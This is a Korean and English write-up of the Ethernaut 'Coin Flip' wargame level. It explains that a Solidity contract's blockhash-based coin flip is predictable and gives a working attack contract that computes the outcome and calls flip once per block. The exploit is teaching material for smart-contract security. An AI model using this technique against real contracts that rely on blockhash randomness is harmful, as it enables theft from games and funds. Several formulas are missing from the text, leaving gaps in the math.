Ethernaut 03 Coin Flip
Ethernaut 03 Coin FlipEthernaut 03 Coin FlipEthernaut 03 Coin Flip 문제 풀이Ethernaut 03 Coin Flip writeup
Contents
문제
지문
This is a coin flipping game where you need to build up your winning streak by guessing the outcome of a coin flip. To complete this level you'll need to use your psychic abilities to guess the correct outcome 10 times in a row. Things that might help See the "?" page above in the top right corner menu, section "Beyond the console"
코드
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}배경지식
블록이란 블록체인에 저장되는 하나의 데이터 묶음이다. 하나의 블록 안에는 여러 트랜잭션이 들어갈 수 있다.
솔리디티에서는 EVM이 제공하는 내장 전역 변수로 현재 실행 중인 트랜잭션의 컨텍스트를 읽을 수 있다. 예를 들어 block.number는 현재 트랜잭션이 포함된 블록 번호이고, msg.sender는 현재 함수를 호출한 주소다.
한 트랜잭션 안에서는 같은 전역 변수가 같은 값을 가진다. 공격 컨트랙트가 먼저 block.number와 blockhash를 읽고, 같은 트랜잭션 안에서 문제 컨트랙트의 flip을 호출하면 둘은 같은 블록 컨텍스트를 보게 된다.
blockhash(uint)는 인자로 넣은 블록 번호의 해시값을 반환하는 내장 함수다. 이 문제에서는 다음처럼 현재 블록이 아니라 바로 이전 블록의 해시를 사용한다.
uint256 blockValue = uint256(blockhash(block.number - 1));현재 트랜잭션이 실행되는 시점에는 block.number - 1 블록이 이미 확정되어 있다. 따라서 이 값은 랜덤값이 아니라 누구나 같은 방식으로 계산할 수 있는 공개 값이다.
이런 값을 난수처럼 쓰면 안 된다. 컨트랙트 내부에서 계산 가능한 값은 공격 컨트랙트 내부에서도 똑같이 계산할 수 있기 때문이다.
FACTOR는 다음 값이다.
57896044618658097711785492504343953926634992332820282019728792003956564819968이 값은 다음과 같다.
blockValue는 uint256이므로 가능한 범위가 다음과 같다.
따라서 나눗셈 결과는 또는 만 나온다.
즉 문제 코드는 이전 블록 해시가 보다 크거나 같으면 true, 작으면 false로 동전 면을 정하고 있다.
문제 코드 분석
먼저 승리 조건이다.
uint256 public consecutiveWins;
constructor() {
consecutiveWins = 0;
}문제 목표는 consecutiveWins를 10까지 올리는 것이다. consecutiveWins는 public이라 외부에서 값을 확인할 수 있지만, 값을 직접 바꾸는 함수는 없다.
따라서 flip을 연속으로 맞혀야 한다. 한 번이라도 틀리면 아래 코드에서 다시 0으로 초기화된다.
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}동전 면이 결정되는 방식은 다음과 같다.
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;동전 면은 사용자의 입력과 무관하게 blockhash(block.number - 1)로 결정된다. 그런데 이전 블록 해시는 이미 공개되어 있으므로 공격자는 side를 미리 계산할 수 있다.
결국 문제 컨트랙트가 side를 계산하는 로직을 공격 컨트랙트에서도 똑같이 돌리면 된다. 계산된 side를 _guess로 넣어 flip을 호출하면 매번 같은 답을 제출하게 된다.
lastHash 체크도 봐야 한다.
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;이 체크는 같은 이전 블록 해시로 여러 번 flip을 호출하지 못하게 막는다. 같은 블록 안에서 두 번 호출하면 block.number - 1이 같기 때문에 blockValue도 같고, 두 번째 호출은 revert된다.
그래서 한 트랜잭션에서 10번을 몰아서 호출하는 방식은 안 된다. 공격 컨트랙트의 flipattack을 블록이 바뀔 때마다 한 번씩 호출해야 한다. 이 과정을 10번 성공시키면 consecutiveWins가 10이 된다.
풀이
풀이는 단순하다. 문제 컨트랙트가 쓰는 계산식을 공격 컨트랙트 안에서도 그대로 실행해서 이번 호출에 넣을 _guess를 먼저 구한다.
공격 컨트랙트의 flipattack은 이전 블록 해시를 읽고 FACTOR로 나눠 side를 만든다. 그 다음 coinflip.flip(side)를 호출한다. 두 호출은 같은 트랜잭션 안에서 이어지므로, 문제 컨트랙트가 보는 block.number - 1도 공격 컨트랙트가 본 값과 같다.
lastHash 체크 때문에 같은 블록에서 반복 호출하면 revert된다. 따라서 flipattack을 한 블록에 한 번씩, 총 10번 호출하면 된다.
익스플로잇
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ICoinFlip {
function flip(bool _guess) external returns (bool);
}
contract attack {
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
ICoinFlip coinflip;
constructor(address addr) {
coinflip=ICoinFlip(addr);
}
function flipattack() public {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
coinflip.flip(side);
}
}

Challenge
Description
This is a coin flipping game where you need to build up your winning streak by guessing the outcome of a coin flip. To complete this level you'll need to use your psychic abilities to guess the correct outcome 10 times in a row. Things that might help See the "?" page above in the top right corner menu, section "Beyond the console"
Code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}Background
A block is a single bundle of data stored on the blockchain. One block can contain multiple transactions.
In Solidity, built-in global variables provided by the EVM let you read the context of the currently executing transaction. For example, block.number is the number of the block containing the current transaction, and msg.sender is the address that called the current function.
Within one transaction, the same global variable has the same value. If the attack contract first reads block.number and blockhash and then calls the challenge contract's flip in the same transaction, both see the same block context.
blockhash(uint) is a built-in function that returns the hash of the given block number. This challenge uses the hash of the immediately preceding block, not the current block, as shown below.
uint256 blockValue = uint256(blockhash(block.number - 1));By the time the current transaction executes, block block.number - 1 is already finalized. So this value is not random; it is a public value anyone can compute the same way.
Values like this must not be used as randomness. Anything the contract can compute internally, an attack contract can compute in exactly the same way.
FACTOR is the following value.
57896044618658097711785492504343953926634992332820282019728792003956564819968This value equals the following.
Since blockValue is a uint256, its possible range is as follows.
So the division result can only be or .
In other words, the challenge code decides the coin side as true if the previous block hash is greater than or equal to , and false otherwise.
Challenge code analysis
First, the win condition:
uint256 public consecutiveWins;
constructor() {
consecutiveWins = 0;
}The goal is to raise consecutiveWins to 10. consecutiveWins is public, so its value can be read externally, but there is no function that changes it directly.
So we have to guess flip correctly in a row. A single wrong guess resets it to 0 in the code below.
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}The coin side is decided as follows.
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;The coin side is determined by blockhash(block.number - 1) regardless of user input. But the previous block hash is already public, so the attacker can compute side in advance.
All we need is to run the same side computation logic in the attack contract. Passing the computed side as _guess to flip submits the correct answer every time.
The lastHash check also needs attention.
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;This check prevents calling flip multiple times with the same previous block hash. Two calls within the same block share the same block.number - 1, so blockValue is the same and the second call reverts.
So calling it 10 times in a single transaction does not work. The attack contract's flipattack has to be called once per new block. Succeeding 10 times brings consecutiveWins to 10.
Solution
The solution is simple. Run the same formula the challenge contract uses inside the attack contract to compute the _guess for this call beforehand.
The attack contract's flipattack reads the previous block hash, divides it by FACTOR to get side, then calls coinflip.flip(side). Both happen within the same transaction, so the block.number - 1 the challenge contract sees is the same as what the attack contract saw.
Because of the lastHash check, repeated calls in the same block revert. So call flipattack once per block, 10 times in total.
Exploit
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ICoinFlip {
function flip(bool _guess) external returns (bool);
}
contract attack {
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
ICoinFlip coinflip;
constructor(address addr) {
coinflip=ICoinFlip(addr);
}
function flipattack() public {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
coinflip.flip(side);
}
}
